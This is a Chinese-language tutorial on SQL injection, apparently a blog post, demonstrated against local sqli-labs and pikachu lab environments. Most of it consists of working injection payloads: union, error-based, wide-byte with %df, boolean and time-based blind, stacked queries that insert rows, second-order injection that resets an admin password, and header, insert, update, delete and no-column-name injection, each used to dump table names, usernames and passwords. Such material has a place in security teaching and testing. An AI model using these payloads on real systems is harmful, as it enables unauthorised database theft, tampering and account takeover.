当前位置:   article > 正文

Web安全之SQL注入_web注入

web注入

目录

一、SQL注入简介

1.1、SQL注入利用原理

二、环境搭建

2.1、环境下载

三、漏洞利用

3.1、联合注入

3.2、报错注入

3.3、宽字节注入

3.4、布尔盲注

3.5、时间盲注

3.6、堆叠注入

3.7、二次注入

3.8、HTTP头注入

3.9、insert注入

3.10、update注入

3.11、delete注入

3.12、无列名注入


一、SQL注入简介

1.1、SQL注入利用原理

SQL注入(SQL lnjection)是发生在 Web 程序中数据库层的安全漏洞,是比较常用的网络攻击方式之一,他不是利用操作系统的 BUG 来实现攻击,而是针对程序员编写时的疏忽,通过 SQL 语句,实现无账号登录,甚至修改数据库。也就是说,SQL 注入就是在用户输入的字符串中添加 SQL 语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行,攻击者就可以执行计划外的命令或者访问未授权的数据。

注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。由于插入的命令可能在执行前追加其他字符串,因此攻击者将用注释符 "--、#" 等来终止注入的字符串。执行时,此后的文本将被忽略。

SQL注入大致分类:

数字型注入、字符型注入、联合注入、报错注入、时间盲注、布尔盲注、二次注入、宽字节注入、http 头部注入

注释符类型:

--
-- -
--+
#
;%00

空格类型:

/**/内源注释
%09URL编码
%0a回车
%abTAB键(垂直)
%ac新的一页
%adreturn功能
%a0空格键在黑框中解码会为?
+加号在http会解析成空格

二、环境搭建

2.1、环境下载

https://download.csdn.net/download/qq_42751192/87886235

三、漏洞利用

3.1、联合注入

联合注入顾名思义,就是使用联合查询(union)进行注入的一种方式,是一种高效的注入的方式,适用于有回显同时数据库软件版本是 5.0 以上的 Mysql 数据库。至于为什么需要版本是 5.0 以上的 Mysql 数据库,是因为 Mysql v5.0 版本会有一个系统数据库 information_schema,能很快的通过几条注入语句获取到想要的数据。

union 有一个十分严格的约束条件,因为是联合查询,必选保证字段数一致,即两个查询结果有相同的列数,因此我们后面要利用 order by 对字段数进行判断。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-1/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

可以看到我们执行了 SQL 语句:SELECT * FROM users WHERE id='1' LIMIT 0,1,这里的 1 就是我们给 id 传递的一个参数。从语句中可以看出此注入为字符型,所以我们在注入时需要对单引号(')进行一个闭合操作,如果是数字型那么就不需要添加单引号(')闭合。

接着我们利用 and/or 进行一个判断是否存在注入,给 id 进行传递如下数据:

1' and 1=1-- -

输入上面的 SQL 语句后会看到页面正常没有发生任何变化,接着输入如下语句再次判断:

1' and 1=2-- -

可以明显的看到两条语句的不同,当 and 1=1 时页面正常而 and 1=2 时页面会发生一些变化。这时就可以确定该页面是存在 SQL语句了。

为什么 and 1=1 页面正常而 and 1=2 页面会发生变化呢?因为当 A and B 时双方条件都为真时就会返回真,当 A and B 时只要有一方为假那么就会返回假。

利用 order by 进行字段数的一个判断,给 id 传递如下数据:

1' order by 3-- -

页面返回正常那么此时的字段数肯定是大于或等于 3 的,接着判断:

1' order by 4-- -

当字段数位 4 时发生报错,说明字段数为 3。知道字段数后就可以利用 union 进行一个联合注入了。

传递如下数据:

-1' union select 1,2,3-- -

这里为什么要把 1 修改成 -1 呢?因为我们需要利用报错得到回显位,图上的回显位为 2 和 3,所以我们需要将 SQL 语句输入在 2 和 3 上,如:database()、user()、version() 等。

利用联合注入获取当前数据库名,传递如下数据:

-1' union select 1,2,database()-- -

可以看到在回显位 3 上获取到了当前数据库名,接着利用 information_schema 获取全部数据库,传递如下数据:

-1' union select 1,2,group_concat(schema_name) from information_schema.schemata-- -

得知数据库名后下一步获取表,获取当前数据库 security 库的表。

传递如下数据:

http://192.168.2.40/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"-- -

此时获取到了 security 库中的全部表后下一步获取 users 表中的全部字段名,因为这个表比较诱人嘛。

传递如下数据:

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"-- -

这里回显了长长的一排字段名,我们主要查看 user、password 字段的数据。

传递如下数据:

-1' union select 1,2,group_concat(username,"<br/>",password) from users-- -

这里为了方便查看数据,在 group_concat 上添加了一个 http 中的一个换行。

3.2、报错注入

报错注入就是指通过页面报出的错误信息,构造合适的语句来获取想要的数据;应用系统未关闭数据库报错函数,可以使用 extractvalue()、updatexml 等函数,从目标 XML 中返回包含所查询值的字符串。

在页面有报错信息的时候可以考虑使用报错注入,可用的报错函数有很多。

报错注入函数:

floor
extractvalue
updatexml
exp
join
NAME_CONST
GeometryCollection
polygon
multipoint
multlinestring
multpolygon
linestring

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-6/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

接着我们可以尝试输入单引号(')双引号(")这些之类的数据给服务器。

1"

可以看到尝试的服务器发生了报错,使用我们可以使用报错注入对服务器进行一个攻击操作,

首先获取数据库名,这里先演示获取当前数据库名,传递如下数据:

1" and updatexml(1,concat(0x7e,(substr((database()),1)),0x7e),1)-- -

接着是获取全部数据库名,传递如下数据:

1" and updatexml(1,concat(0x7e,(substr((select group_concat(schema_name) from information_schema.schemata),55)),0x7e),1)-- -

这里我们随便挑一个数据库来爆表,这里我选择 security 这个库。

传递如下数据:

1" and updatexml(1,concat(0x7e,(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),25)),0x7e),1)-- -

这里获取到了 security 库中的全部表,这里没有显示完全可以自行修改如上语句的 25 改成其他值。

获取 users 表中的全部字段名,传递如下数据:

1" and updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),70)),0x7e),1)-- -

最后一步,获取 users 表下的 username、password 字段名的全部数据。

传递如下数据:

1" and updatexml(1,concat(0x7e,(substr((select group_concat(username,password) from users),10)),0x7e),1)-- -

温馨提示:不要复制粘贴代码,因为复制粘贴在注入时可能会出错,所以需要手工输入。

3.3、宽字节注入

先了解一下什么是窄、宽字节已经常见宽字节编码:

  • 当某字符的大小为一个字节时,称其字符为窄字节。

  • 当某字符的大小为两个字节时,称其字符为宽字节。

  • 所有英文默认占一个字节,汉字占两个字节。

  • 常见的宽字节编码:GB2312、GBK、GB18030、BIG5、Shift_JIS等。

为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与 PHP 编码设置为不同的两个编码格式从而导致产生宽字节注入。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-32/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

尝试利用单引号(')闭合。

1'-- -

此时可以发现在我们添加的单引号(')上会多了一个转义符(\),这个转义符的作用就是让后面所输入的数据变得没用,不管单引号(')后面输入的数据是什么都会被当作垃圾处理。

所以我们这里利用宽字节注入进行一个绕过,使用最经典的 %df。

首先判断是否存在宽字节注入。

1%df' and 1=1-- -

and 1=1 返回页面返回正常,接着是 and 1=2。

1%df' and 1=2-- -

可以看到我们利用 %df 可以成功绕过转义并判断出存在宽字节注入。

解释:这里的 %df 与反斜杠(\)组合在一起就会变成一个汉字 "綅",原理跟我们打游戏的时候会给自己弄个空白名称而这个 "綅" 就会当成空格所以导致成了一个宽字节注入。

继续下一步,由于这里是有回显位的我们可以利用联合查询进行一个注入,首先判断字段数。

1%df' order by 3-- -

页面正常,接着判断。

1%df' order by 4-- -

当字段数为 4 的时候发生报错,由此可得当前字段数为 3。

利用联合注入查看可用回显位。

-1%df' union select 1,2,3-- -

当前可以回显位有2个,分别为:2、3。所以我们需要爆语句插入到这两个回显位其中一个。

获取当前数据库名。

-1%df' union select 1,2,database()-- -

获取全部数据库名。

-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- -

这里我们指定获取 security 库中的全部表。

-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- -

这里发现报错了,原因是为什么呢?因为我们在指定数据库名的时候调用了两个单引号('),而我们的单引号(')被转义了。此时可能会有人说在这两个单引号(')再加两个 %df 不就完事了吗?我们尝试一下。

-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=%df'security%df'-- -

发现这个方法是行不通的,因为你在第二个单引号(')前输入 %df 数据库会误以为你查询的是 security%df 所以会发生错误。所以这里我们使用编码绕过 Hex编码。

首先将数据库名进行一个 Hex 编码。

接着再将我们的注入语句修改。

-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479-- -

这时就可以成功绕过了,下一步获取 users 表中的全部字段名,这里也是同理需要将 users 进行一个 Hex 编码,编码结果为:0x7573657273。

-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273-- -

最后一步获取 username、password 中的全部数据

-1%df' union select 1,2,group_concat(username,0x3C62722F3E,password) from users-- -

3.4、布尔盲注

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且 Web 页面返 True 或者 False,构造 SQL 语句,利用 and,or 等关键字来其后的语句 True 、 False 使 Web 页面返回 True 或者 False,从而达到注入的目的来获取信息。

布尔盲注需要用到的函数:

  • ascii() 函数,返回字符ascii码值

    • 参数 : str单字符

  • length() 函数,返回字符串的长度

    • 参数 : str 字符串

  • left() 函数,返回从左至右截取固定长度的字符串

    • 参数str,length

    • str : 字符串

    • length:截取长度

  • substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串

    • 参数,strposlength

    • str: 字符串

    • pos:开始位置

    • length:截取长度

布尔注入流程:

  • 求当前数据库长度

  • 求当前数据库表的 ASCII

  • 求当前数据库中表的个数

  • 求当前数据库中其中一个表名的长度

  • 求当前数据库中其中一个表名的 ASCII

  • 求列名的数量

  • 求列名的长度

  • 求列名的 ASCII

  • 求字段的数量

  • 求字段内容的长度

  • 求字段内容对应的 ASCII

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-5/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

从语句中可以看出我们在注入时需要对单引号(')进行闭合,构造判断语句。

' and 1=1-- -

and 1=1 页面返回正常,接着继续判断。

1' and 1=2-- -

and 1=1 页面返回正常,and 1=2 页面发生变化,也就是 True 和 False,所以我们可以利用布尔盲注进行注入。

首先判断当前数据库长度。

1' and (length(database())>7)-- -

大于 7 时页面正常,继续判断。

1' and (length(database())>9)-- -

大于 9 时返回 False,那么就说明当前数据库长度为 8。

1' and (length(database())=8)-- -

上图也可以看到长度为 8 返回 True。

知道当前数据库长度后接着一个一个的对数据库的每一个字节进行判断。这里介绍给大家两种方法:Ascii判断、字母判断

为什么要分两种方法来讲呢?因为字母判断是需要单引号(')进行操作的,很多服务器都会对这些特殊字符进行一个转义。

首先讲字母判断,判断当前数据库第一个字母。

1' and (left(database(),1)='s')-- -

页面返回正常,那就说明当前数据库首字母为 s ,接着判断第二个字母。

1' and (left(database(),2)='se')-- -

这里判断出第二个字母为 e,接着继续判断。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后这里判断出当前数据库名为:security。

1' and (left(database(),8)='security')-- -

接着是 Ascii 判断,Ascii 对照表如下:

首先获取当前数据库第一个字母。

1' and ascii(substr(database(),1,1))=115-- -

当 ascii 码为 115 时页面正常,说明首字母为:s。

继续判断第二个字母。

1' and ascii(substr(database(),2,1))=101-- -

当 ascii 码为 101 时页面正常,说明第二个字母为:e。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

得到数据库名后,下一步获取表的个数后面的操作我们都使用 ascii 函数来判断)

1' and(select count(table_name) from information_schema.tables where table_schema='security') = 4-- -

页面正常,此时可知当前 security 库中有 4 个表。

接着我们利用 limit 来指定表进行表名长度猜解操作,这里我们指定第四个表 limit 3,1。

1' and (length((select table_name from information_schema.tables where table_schema = database() limit 3,1)))=5-- -

页面返回正常,得出第四个表长度为 5,继续判断第四个表的表名。

判断表名首字母。

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1))=117-- -

当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。

继续判断表名的第二个字母。

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),2,1))=115-- -

当 ascii 码为 115 时页面正常,115 对应的 ascii 码为:s(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后这里判断出表名为:users。

得到表名后判断 users 表中的字段数量。

1' and (select count(column_name) from information_schema.columns where table_name="users")=15-- -

这里得出 users 表中存在 15 个字段数,下一步获取指定字段的长度。

http://192.168.2.40/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 9,1),8,1))-- -

得出 limit 9,1 中的字段长度为 8,得知长度后获取字段名,首先判断首字母。

1' and ascii(substr((select column_name from information_schema.columns where table_name = "users" limit 9,1),1,1))=117-- -

当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。

接着判断第二个字母。

1' and ascii(substr((select column_name from information_schema.columns where table_name = "users" limit 9,1),2,1))=115-- -

当 ascii 码为 115 页面返回正常,115 对应的 ascii 码为:s。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后判断得出字段名为:username

得知 users 表中第 10 个字段名为 username 后就可以开始脱数据了,首先利用 limit 0,1 判断第一行数据的长度。

1' and (length((select username from users limit 0,1)))=4-- -

页面返回正常,最后一步获取数据。

1' and ascii(substr((select username from users limit 0,1),1,1))=68-- -

当 ascii 码为 68 时页面正常,68 对应的 ascii 码为:D。

继续判断第二个字母。

1' and ascii(substr((select username from users limit 0,1),2,1))=68-- -

当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后这里判断出数据内容为:Dumb。

注:盲注一般都不会手工去进行一个注入的,都会采用脚本、工具去跑,只有小可爱才会用手工去注入。

3.5、时间盲注

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。在 mysql 里 函数 sleep() 是延时的意思,sleep(10) 就是数据库延时 10 秒返回内容。判断注入可以使用 ' and sleep(10),数据库延时 10 秒返回值,网页响应时间至少要 10 秒,根据这个原理来判断存在 SQL 时间注入。

访问本地漏洞环境:http://127.0.0.1/sqli-labs/Less-9/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

回显语句可以看出注入过程我们需要闭合单引号。

利用 and 判断是否存在注入。

1' and 1=1-- -

页面返回正常,接着继续判断。

此时可以发现不管我们输入什么都只会返回 "You are in...",原因是在代码中他并没有将查询的数据进行回显,而只是利用了 echo 输入 "You are in..."。

实战中大多场景都是如此,所以我们需要利用时间盲注进行判断是否存在注入。

首先随便输入个数据给 ID 值,然后利用 Burp 进行数据抓取,因为我们要利用 Burp 查看回显时间。

将数据包发送到 Repeater 模块,快捷键(win+r)。

接着我们给 ID 传递一个 sleep 函数,让时间延迟,如果延迟就说明存在时间盲注。

1'and%09sleep(5)--%09-

可以看到页面延迟 5 秒说明存在时间盲注,由于 Burp 他不能有空格,所以这里我们利用 %09 进行绕过,当然也可以用 url 编码的 %20,和 mysql 的内联注释符 /**/。

已知测试存在时间盲注,接下来判断当前数据库的字节长度。

1'%09and%09if(length(database())=8,sleep(3),1)--%09-

可以看到当判断当前数据库长度为 8 时延迟了 3 秒。

接下来我们猜测当前数据库名的首字母。

1'%09and%09if(left(database(),1)='s',sleep(3),1)--%09-

当判断数据库的首字母为 s 时,页面延迟了 3 秒,如果不是则立即加载页面。

接着判断第二个字母。

1'%09and%09if(left(database(),2)='se',sleep(3),1)--%09-

当判断数据库的前两个字母为 se 时,页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终获得数据库名为:security。

得到当前数据库名后获取数据库表中的个数。

1'%09and%09if(((select%09count(table_name)%09from%09information_schema.tables%09where%09table_schema=database())=4),sleep(3),1)--%09-

当判断数据库 security 中的表个数为 4 时延迟了 3 秒。

下一步获取指定表的长度,这里我指定第 4 个表来判断表名的长度。

1'%09and%09if((length(substr((select%09table_name%09from%09information_schema.tables%09where%09table_schema=database()%09limit%093,1),1))=5),sleep(3),1)--%09-

当表的长度为 5 时延迟了 3 秒,说明第四个表名的长度为 5。

知道表名的长度后下一步判断表名的首字母。

1'%09and%09if((left((select%09table_name%09from%09information_schema.tables%09where%09table_schema=database()%09limit%093,1),1)='u'),sleep(3),1)--%09-

判断表的首字母为 u 时延迟了 3 秒,继续判断第二位字母。

1'%09and%09if((left((select%09table_name%09from%09information_schema.tables%09where%09table_schema=database()%09limit%093,1),2)='us'),sleep(3),1)--%09-

当判断表的前两个字母为 us 时,页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终获取到表名为:users。

得到表名后判断表中的字段数量。

1'%09and%09if(((select%09count(column_name)%09from%09information_schema.columns%09where%09table_name="users")=18),sleep(3),1)--%09-

当判断字段数量为 18 时延迟了 3 秒,说明当前表中的字段数量为:18。

接着我们利用 limit 指定字段,获取字段字段的长度。

1'%09and%09if((length(substr((select%09column_name%09from%09information_schema.columns%09where%09table_name="users"%09limit%0913,1),1))=8),sleep(3),1)--%09-

当字段长度为 8 时延迟 3秒。

得知第 14 个字段的长度为 8 后,下一步判断字段名的首字母。

1'%09and%09if((left((select%09column_name%09from%09information_schema.columns%09where%09table_name="users"%09limit%0913,1),1)='p'),sleep(3),1)--%09-

判断首字母为 p 时延迟了 3 秒,继续判断第二字母。

1'%09and%09if((left((select%09column_name%09from%09information_schema.columns%09where%09table_name="users"%09limit%0913,1),2)='pa'),sleep(3),1)--%09-

当判断字段名的前两个字母为 ps 时,页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终得到字段名为:password。

最后就是脱数据了,首先判断第一条数据的长度。

1'%09and%09if((length((select%09password%09from%09users%09limit%090,1))=4),sleep(3),1)--%09-

当判断数据长度为 4 时延迟 3秒,接着下一步判断数据的首字母。

1'%09and%09if((left((select%09password%09from%09users%09limit%090,1),1)='D'),sleep(3),1)--%09-

判断完首字母后继续判断第二个字母。

1'%09and%09if((left((select%09password%09from%09users%09limit%090,1),2)='Du'),sleep(3),1)--%09-

当判断数据内容的前两个字母为 Du 时页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终获取数据内容为:Dumb

3.6、堆叠注入

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询。
原理很简单,mysql_multi_query(),支持多条 sql 语句同时执行,就是个分隔(;),成堆的执行 sql 语句,例如:

 select * from users;show databases; 

就同时执行以上两条命令,所以我们可以增删改查,只要权限够。
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到 API 或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条 sql 语句时才能够使用,利用 mysqli_multi_query() 函数就支持多条 sql 语句同时执行,但实际情况中,如PHP 为了防止 sql 注入机制,往往使用调用数据库的函数是 mysqli_ query() 函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-38/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

从回显的 SQL 语句中看出需要闭合单引号('),所以注入时需要注意闭合。

判断是否存在注入。

1' and 1=1-- -

and 1=1 页面返回正常,接着判断。

1' and 1=2-- -

and 1=2 时页面返回异常,说明存在注入。

这里我们利用联合注入进行攻击,首先判断字段数。

1' order by 3-- -

字段数为 3 时返回正常,接着判断。

1' order by 4-- -

字段数为 4 时报错了,说明字段数为 3。

查看回显位。

-1'union select 1,2,3-- -

这里回显位有 2 个,我们选择第 3 个利用联合注入获取当前数据库名。

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

这里回显出 4 个表,我们选择 users 表来获取里边的字段名。

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"-- -

这里得到表和表中的字段名后,我们利用堆叠注入对 users 表进行一个插入数据操作。

-1';insert into users(id,username,password)values(15,'hack','hackpw');-- -

插入后我们登录 phpmyadmin 进行一个查看。

可以看到在最后一行数据中就是我们刚刚插入的数据。

3.7、二次注入

二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了 SQL 查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。

这里我们首先对代码进行一个分析,不然再开始前会有点懵逼。

我们这里先看 Less-21\login_create.php 的注册用户文件。

这里看我用红色框框框起来的内容。

21-23 行这里都利用了 mysql_escape_string() 函数进行一个 sql 注入的过滤,所以这个注册用户页面是不存在注入的。

接着我们查看修改密码页面的代码。

这里一样看我用红色框框框起来的内容。

首先是 25-28 行,其中 26-28 行都利用了 mysql_escape_string() 函数进行一个 sql 注入的过滤,但是 25 行他并没有使用这个函数进行过滤,而且接收到的变量会带入到 sql 执行语句去,而这个变量就是获取我们用户名的一个操作。

那么我们就可以在注册页面的时候注册一个用户名为:admin'#,这样子到了修改页面后他接收了我们的用户名并存入到 $username 中,最终执行的语句就为:

UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'

这样子我们就成功的修改了 admin 用户的密码。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-38/

由于本人英文不好翻译了一下不要介意,这里我们点击用户注册。

注册一个用户名为:admin'#666777的用户。

接着登录 admin'#666777 用户。

登录后我们进行密码修改(这里我修改了下审查元素方面那么看到密码那块)。

修改后我们退出登录,登录 admin 账号,密码为:adminpassword。

这里成功登录 admin 账号,我们成功利用了 admin'#666777 用户对 admin 账号进行一个修改。

3.8、HTTP头注入

HTTP 头原理是后台开发人员为了验证客户端 HTTP_Header(比如常用的Cookie 验证等)或者通过 HTTP_Header 头信息获取客户端的一些信息(例如:User-Agent、Accept 字段等),会对客户端HTTP_Header 进行获取并使用 SQL 语句进行处理,如果此时没有足够的安全考虑,就可能导致基于 HTTP_Header 的注入漏洞。

首先我们对 Less-18\index.php 文件进行代码分析。

这里先看绿色框框的内容,在 73 行中有一条判断判断 uname 和 passwd 的值是否为空,并且这两个函数都有过滤没办法注入,所以要进入这个判断要给这两个值进行参数的传递。

接着 98 行会执行 97 行的 SQL 语句,并且在 100 行中有这么一个判断当 $row1 为真的时候才会进入判断语句中。

知道判断流程后我们看红色框框,首先这里 66-67行接收了我们的 ua 头和 ip 信息,并且会带入 103 行中进行一个插入操作,但是这里的 ua 头我们是可以控制的,所以我们可以在 ua 头中构造 sql 注入语句。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-18/

首先我们要进入第一个 if 判断语句,必须要输入正确的账号和密码,这里输入 Dumb/Dumb 并利用 Burp 进行一个数据包的抓取。

将抓取到的数据包放入 Repeater 模块(Ctrl + r)。

从刚刚代码审计中我们知道 ua 头是可控制的,这里我们对 Ua 头进行一个注入判断。

1'

可以看到这里发生了一个报错,所以我们可以利用报错注入进行一个攻击。

获取当前数据库名,这里为不影响插入语句后面的此处在语句最后加上了一个恒等式,一方面是为了闭合后台语句的单引号,另一方面是为了保证当我们语句拼接入后台后不影响后续语句的运行。

1'and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

得到数据库名为:security。

接着获取 security 库中的表。

1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

下一步获取 users 表中的全部字段名。

1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name="users"),70),0x7e),1) and '1'='1

最后脱取 users 表中 username 的全部数据。

3.9、insert注入

insert 注入也叫插入注入,insert 由于其功能决定并不会对结论进行直接输出,同时其 sql 语句预编译是 insert 型,所以无法使用查询注入的方式进行注入。主要注入方式是盲注、以及报错注入。

访问本地漏洞环境:http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_login.php

从页面中可以看到有个注册功能,我们点击 "注册",注册一个账号。

注册成功后我们回到登录页面进行登录。

进来后页面会对我们的注册信息进行回显。

既然可以回显,那么我们就可以在注册页面输入 sql 语句进行注入。

回到注册页面。

这里有 6 个可输入的框,由此可判断出在我们注入的时候也必须要凑合够 6 个,不然数据库会发生报错。

这里我们在手机处插入 sql 语句。

10086',database(),'地址')-- -

点击 submit 提交,接着回到登录页面登录 hack1 用户,登录成功后可以看到成功将当前数据库回显。

接着继续回注册页面注册一个用户,用于获取当前数据库中的全部表。

10086',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'地址')-- -

点击 submit 提交,然后回到登录页面登录 hack2 用户,登录成功后在邮箱处可以看到已经将全部表进行回显。

获取到表后下一步获取字段名,回到注册页面继续注册一个用户用于获取 users 表全部字段名。

10086',(select group_concat(column_name) from information_schema.columns where  table_schema=database() and table_name='users'),'地址')-- -

点击 submit 提交,然后回到登录页面登录 hack3 用户,登录成功后在邮箱处可以看到已经将 users 表中的全部字段名进行回显。

最后一步脱数据,这里我们脱 username 的数据,回到注册页面继续注册一个用户用于获取数据。

10086',(select group_concat(username) from users ),'地址')-- -

点击 submit 提交,然后回到登录页面登录 hack4 用户,登录成功后在邮箱处可以看到已经将 users 表中的 username 字段的数据进行回显。

3.10、update注入

update 注入也叫更新注入,update 由于其功能决定并不会对结论进行直接输出,同时其 sql 语句预编译是 update 型,所以无法使用查询注入的方式进行注入。

访问本地漏洞环境:http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_login.php

首先我们注册两个用户名分别为:user1、user2。

然后我们分别登录 user1 和 user2,查看对应的回显信息。

首先登录 user1。

可以看到信息全是 user1,接着退出登录,登录 user2 账号。

可以看到 user2 的信息全是 user2。

那么我们在 user2 上修改个人信息,实现跨用户信息修改。

user2' where username='user1'-- -

点击 submit 提交,接着退出登录,回到 user1。

登录后可以看到,我们成功在 user2 用户上修改了 user1 的信息。

3.11、delete注入

delete 注入也叫删除注入,⼀般⽤于前后端发帖、留⾔、⽤户等相关操作,点击删除按钮时可通过 burp 进⾏抓包,对数据包 delete 参数进⾏注⼊。

访问本地漏洞环境:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php

在页面中可以看到有个留言板功能,我们尝试发表一个文章。

发表文章后在留言列表中有个按钮可以对文章进行删除,我们点击删除按钮并利用 Burp 抓取删除数据。

将数据包发送到 Repeater 模块,快捷键(Win+r)。

尝试给 id 参数输入一个单引号(')。

58'

可以看到页面发生了报错所以我们在注入时可以利用报错注入进行攻击,并且从报错信息可以得出当前是数字型注入。

利用 and 进行判断是否存在注入。

获取当前数据库。

58%09and%09updatexml(1,concat(0x7e,(substr((database()),1)),0x7e),1)--%09-

获取到当前数据库后获取表。

58%09and%09updatexml(1,concat(0x7e,(substr((select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),10)),0x7e),1)--+

接着获取 users 表中的全部字段名。

58%09and%09updatexml(1,concat(0x7e,(substr((select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name="users"),1)),0x7e),1)--+

最后一步脱取 username 的全部数据。

58%09and%09updatexml(1,concat(0x7e,(substr((select%09group_concat(username)%09from%09users),1)),0x7e),1)--+

3.12、无列名注入

一、概念

在我们进行 SQL 注入的时候,有时候 information_schema 这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:

  • InnoDb引擎

从 MYSQL5.5.8 开始,InnoDB 成为其默认存储引擎。而在 MYSQL5.6 以上的版本中,inndb 增加了 innodb_index_stats 和innodb_table_stats 两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

  • sys数据库

在 5.7 以上的 MYSQL 中,新增了 sys 数据库,该库的基础数据来自 information_schema 和 performance_chema,其本身不存储数据。可以通过其中的 schema_auto_increment_columns 来获取表名。

但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

二、原理

无列名注入的原理其实跟给列赋别名有点相似,就是在取别名的同时查询数据。

select * from sqltest

可以看到 sqltest 表中有 2 个字段,字段名分别为 id,flag 。此时,我们用无列名查询的方式来查一下表中数据。

select 1,2 union select * from sqltest

可以看到,此时得到了一个虚拟表,字段名分别为 1,2 其中存储了 sqltest 表中的所有数据。

进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错。

select 1,2,3  union select * from sqltest

我们进行无列名注入就是利用了该方法,通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。

select `2` from (select 1,2 union select * from sqltest)n

像这样就可以查询第二个字段的数据,在虚拟表中,字段名都是 1,2 所以我们在查询语句中要用(`2`)而不能直接用 2 。末尾的 n 是用来命名的,也可以是其他字符。不过有时候 ` 也会被过滤,这时候我们就又要用到取别名的操作了。

select 1 as a,2 as b union select * from sqltest

可以看到,此时构造的虚拟表的字段名就分别是 a,b 了。此时查询就可以直接通过 a,b 来查。

select b from (select 1 as a,2 as b union select * from sqltest)n

访问本地漏洞环境:http://127.0.0.1/sqli-labs/Less-66/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

判断当前 id 参数是否存在注入。

1' and 1=1-- -

页面返回正常,继续判断。

当 and 1=2 时页面返回异常,说明存在注入。

判断字段数。

1' order by 3-- -

字段数为 3 时页面正常,继续判断。

1' order by 4-- -

当字段为 4 时页面报错,由此可得当前字段数为 3。

利用联合注入获取回显位。

-1' union select 1,2,3--

这里利用回显位 3 获取当前数据库名。

-1' union select 1,2,database()-- -

获得当前数据库名后获取当前数据库中的全部表。

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

